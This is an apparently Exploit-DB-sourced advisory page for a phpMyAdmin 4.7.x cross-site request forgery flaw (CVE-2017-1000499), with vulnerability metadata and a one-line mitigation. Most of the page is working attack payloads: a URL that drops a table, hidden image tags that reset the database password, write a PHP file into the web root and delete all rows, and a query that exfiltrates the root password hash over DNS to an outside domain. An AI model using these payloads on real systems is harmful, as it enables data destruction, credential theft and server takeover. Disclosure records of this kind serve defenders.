phpMyAdmin 4.7.x - Cross-Site Request Forgery

vendor:

phpMyAdmin

by:

VulnSpy

8.8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: phpMyAdmin

Affected Version From: 4.7.x

Affected Version To: 4.7.7

Patch Exists: YES

Related CWE: CVE-2017-1000499

CPE: a:phpmyadmin:phpmyadmin

Metasploit: https://www.rapid7.com/db/vulnerabilities/alpine-linux-cve-2017-1000499/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2017-1000499/, https://www.rapid7.com/db/vulnerabilities/phpmyadmin-cve-2017-1000499/

Other Scripts: N/A

Platforms Tested: php7 mysql5

2018

phpMyAdmin 4.7.x – Cross-Site Request Forgery

If victim DB Admin has active session with PhPMyAdmin < 4.7.7, Hitting this URL will result into DROP_TABLE, https://example.com/phpMyAdmin/sql.php?db=DATABASE_NAME&goto=db_structure.php&table=wp_users&reload=1&purge=1&sql_query=DROP+TABLE+%60wp_users%60&message_to_show=Table+wp_users+has+been+dropped. Exploit CSRF - Modifying the password of current user, Exploit CSRF - Arbitrary File Write, Exploit CSRF - Data Retrieval over DNS, Exploit CSRF - Empty All Rows From All Tables

Mitigation:

Ensure that the latest version of phpMyAdmin is installed and all security patches are applied.

Source

Exploit-DB raw data:

# Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery
# Date: 2018-08-28
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: Versions 4.7.x (prior to 4.7.7)
# Tested on: php7 mysql5
# CVE: CVE-2017-1000499 -- Original Exploit Author: Ashutosh Barot 

# Original Exploit Author: Ashutosh Barot ( www.twitter.com/ashu_barot)
# If victim DB Admin has active session with PhPMyAdmin < 4.7.7, Hitting this URL will result into DROP_TABLE, 

https://example.com/phpMyAdmin/sql.php?db=DATABASE_NAME&goto=db_structure.php&table=wp_users&reload=1&purge=1&sql_query=DROP+TABLE+%60wp_users%60&message_to_show=Table+wp_users+has+been+dropped

# Exploit CSRF - Modifying the password of current user

<p>Hello World</p>
<img src="
http://server/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />

# Exploit CSRF - Arbitrary File Write

<p>Hello World</p>
<img src="
http://server/sql.php?db=mysql&table=user&sql_query=select
'<?php phpinfo();?>' into outfile '/var/www/html/test.php';"
style="display:none;" />

# Exploit CSRF - Data Retrieval over DNS

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE
user='root' LIMIT 1),'.vulnspy.com\\test'));

# Exploit CSRF - Empty All Rows From All Tables

<p>Hello World</p>
<img src="
http://server/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A"
style="display:none;" />